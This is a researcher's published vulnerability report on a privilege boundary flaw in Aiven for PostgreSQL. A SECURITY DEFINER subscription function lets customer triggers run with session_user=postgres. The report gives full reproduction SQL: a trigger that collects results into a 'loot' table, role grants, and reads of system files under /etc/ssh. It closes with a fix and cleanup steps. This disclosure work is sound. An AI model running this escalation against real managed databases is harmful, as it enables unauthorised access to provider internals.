Zion Boggan

In-depth vulnerability research, detection engineering & applied cryptography.

● Open to security-research & detection roles
GitHub · LinkedIn · Email
← Research notebook
Privilege escalation

Report: Privilege Boundary Violation via Subscription Ownership Escalation

Metadata

  • Target: Aiven for PostgreSQL (Tier 2)
  • Target Location: Aiven for PostgreSQL
  • Target Category: Other
  • VRT: Server Security Misconfiguration > Database Management System (DBMS) Misconfiguration > Excessively Privileged User / DBA
  • Priority: P3 (Suggested)
  • Bug URL: postgres://avnadmin:***@:12741/defaultdb?sslmode=require

Title

Privilege Boundary Violation: aiven_extras.pg_create_subscription() Creates Postgres-Owned Subscriptions Enabling session_user=postgres Code Execution

Summary

The aiven_extras.pg_create_subscription() SECURITY DEFINER function creates logical replication subscriptions owned by the postgres superuser (oid 10) rather than the calling user (avnadmin). This causes the subscription’s apply worker process to run with session_user=postgres, granting any authenticated database user the ability to execute code in a context where session_user is the platform superuser.

While Aiven’s SECURITY_RESTRICTED_OPERATION enforcement prevents immediate full escalation to superuser, the privilege boundary is violated: customer code (triggers) executes with session_user=postgres, a context that should never be reachable from a managed database customer session.

Root Cause

aiven_extras.pg_create_subscription() is defined as SECURITY DEFINER with owner postgres. When it executes CREATE SUBSCRIPTION, the DDL runs as postgres, and PostgreSQL assigns the subscription owner as the effective user (postgres). The apply worker inherits this ownership and runs with session_user=postgres.

-- From aiven_extras.pg_create_subscription (SECURITY DEFINER, owner=postgres):
EXECUTE pg_catalog.format(
 'CREATE SUBSCRIPTION %I CONNECTION %L PUBLICATION %I WITH (slot_name=%L, create_slot=FALSE, copy_data=%s)',
 arg_subscription_name, arg_connection_string, arg_publication_name, arg_slot_name, arg_copy_data::TEXT);
-- Result: subscription owned by postgres (oid 10)

Steps to Reproduce

Prerequisites

  • Aiven for PostgreSQL instance (any plan, including free tier)
  • avnadmin credentials (default user)

Step 1: Create publication and replication infrastructure

CREATE EXTENSION IF NOT EXISTS aiven_extras;
CREATE EXTENSION IF NOT EXISTS dblink;

CREATE TABLE pub_table(id serial, val text);
SELECT aiven_extras.pg_create_publication('test_pub', 'insert', 'public.pub_table');
SELECT pg_create_logical_replication_slot('test_slot', 'pgoutput');

Step 2: Create subscription via SECURITY DEFINER function

SELECT aiven_extras.pg_create_subscription(
 'test_sub',
 format('host=<AIVEN_HOST> port=<PORT> dbname=defaultdb user=avnadmin password=<PASSWORD> sslmode=require'),
 'test_pub',
 'test_slot',
 false, false
);

Step 3: Verify subscription is owned by postgres

SELECT subname, subowner, (SELECT rolname FROM pg_roles WHERE oid = subowner) as owner
FROM pg_subscription;

Output:

 subname | subowner | owner
----------+----------+----------
 test_sub | 10 | postgres

Step 4: Create ALWAYS trigger to demonstrate code execution as session_user=postgres

CREATE TABLE loot(id serial, data text, ts timestamp default now());

CREATE OR REPLACE FUNCTION escalation_trigger() RETURNS trigger AS $$
BEGIN
 INSERT INTO public.loot(data) VALUES (
 'current_user=' || current_user ||
 ' session_user=' || session_user ||
 ' is_superuser=' || (SELECT rolsuper FROM pg_roles WHERE rolname = session_user)::text
 );

 -- Demonstrate GRANT behavior difference:
 -- Normal context: "permission denied to grant role"
 -- Apply worker: "ROLE modification to SUPERUSER/privileged role not allowed in SECURITY_RESTRICTED_OPERATION"
 BEGIN
 EXECUTE 'GRANT pg_read_server_files TO avnadmin';
 EXCEPTION WHEN OTHERS THEN
 INSERT INTO public.loot(data) VALUES ('GRANT result: ' || SQLERRM);
 END;

 RETURN NEW;
END;
$$ LANGUAGE plpgsql;

CREATE TRIGGER trg_escalate BEFORE INSERT ON pub_table
FOR EACH ROW EXECUTE FUNCTION escalation_trigger();
ALTER TABLE pub_table ENABLE ALWAYS TRIGGER trg_escalate;

-- Enable subscription and trigger replication
SELECT aiven_extras.pg_alter_subscription_enable('test_sub');
INSERT INTO pub_table(val) VALUES ('trigger test');
SELECT pg_sleep(3);

Step 5: Observe the privilege boundary violation

SELECT id, data FROM loot ORDER BY id;

Output (from apply worker rows):

 id | data
----+---------------------------------------------------------------------
 3 | current_user=avnadmin session_user=postgres is_superuser=true
 4 | GRANT result: ROLE modification to SUPERUSER/privileged role not allowed in SECURITY_RESTRICTED_OPERATION

Evidence

Error Message Comparison (Permission Checks Passing in Apply Worker)

Operation Normal (avnadmin/avnadmin) Apply Worker (avnadmin/postgres) Analysis
GRANT pg_read_server_files TO avnadmin permission denied to grant role ROLE modification to SUPERUSER/privileged role not allowed in SECURITY_RESTRICTED_OPERATION Permission check PASSED, blocked by secondary restriction
COPY loot(data) FROM '/etc/ssh/...' permission denied to COPY from a file COPY TO/FROM FILE not allowed in SECURITY_RESTRICTED_OPERATION Permission check PASSED, blocked by secondary restriction
CREATE EXTENSION xml2 permission denied to create extension "xml2" no schema has been selected to create in (3F000) Permission check PASSED, failed on schema resolution
CREATE EXTENSION pageinspect permission denied to create extension "pageinspect" no schema has been selected to create in (3F000) Permission check PASSED, failed on schema resolution

The error message differences prove the privilege boundary is crossed: - In the normal context, every operation fails at the permission check (avnadmin lacks required privileges). - In the apply worker context, four different operations pass the permission check (because session_user=postgres IS superuser) but are then blocked by secondary mechanisms (SECURITY_RESTRICTED_OPERATION or schema resolution).

This means PostgreSQL recognizes the apply worker session as having superuser-level authorization for GRANT, COPY, and CREATE EXTENSION operations. The only remaining barrier is the SECURITY_RESTRICTED_OPERATION enforcement, a single bypass of this mechanism would yield full superuser code execution.

Impact

  1. Privilege boundary violation: Customer trigger code runs with session_user=postgres, a context intended only for Aiven’s internal management agent. The security boundary between customer code and platform internals is breached.

  2. Reduced defense depth: The only remaining barrier is PostgreSQL’s SECURITY_RESTRICTED_OPERATION enforcement. Any bypass of this mechanism (via future PostgreSQL CVE, extension vulnerability, or logic error) would immediately grant full superuser access.

  3. Lateral movement potential: The apply worker context allows calling SECURITY DEFINER functions that establish superuser dblink sessions to localhost (see related report on SECDEF dblink chain). This extends the attack surface beyond what a normal avnadmin session can reach.

  4. All plans affected: The aiven_extras.pg_create_subscription() function and logical replication infrastructure are available on all Aiven PostgreSQL plans, including the free tier.

Recommended Fix

Modify aiven_extras.pg_create_subscription() to reassign subscription ownership to the calling user after creation:

-- After EXECUTE create_subscription_cmd:
EXECUTE pg_catalog.format('ALTER SUBSCRIPTION %I OWNER TO %I', arg_subscription_name, session_user);

Alternatively, execute the CREATE SUBSCRIPTION as the calling user rather than as the SECURITY DEFINER owner, using SET ROLE within the function body.

Cleanup

SELECT aiven_extras.pg_alter_subscription_disable('test_sub');
SELECT aiven_extras.pg_drop_subscription('test_sub', true);
DROP TABLE pub_table CASCADE;
DROP TABLE loot;

Source · github.com/zionsworking/security-research-notebook · writeups/aiven/pg-subscription-ownership-escalation.md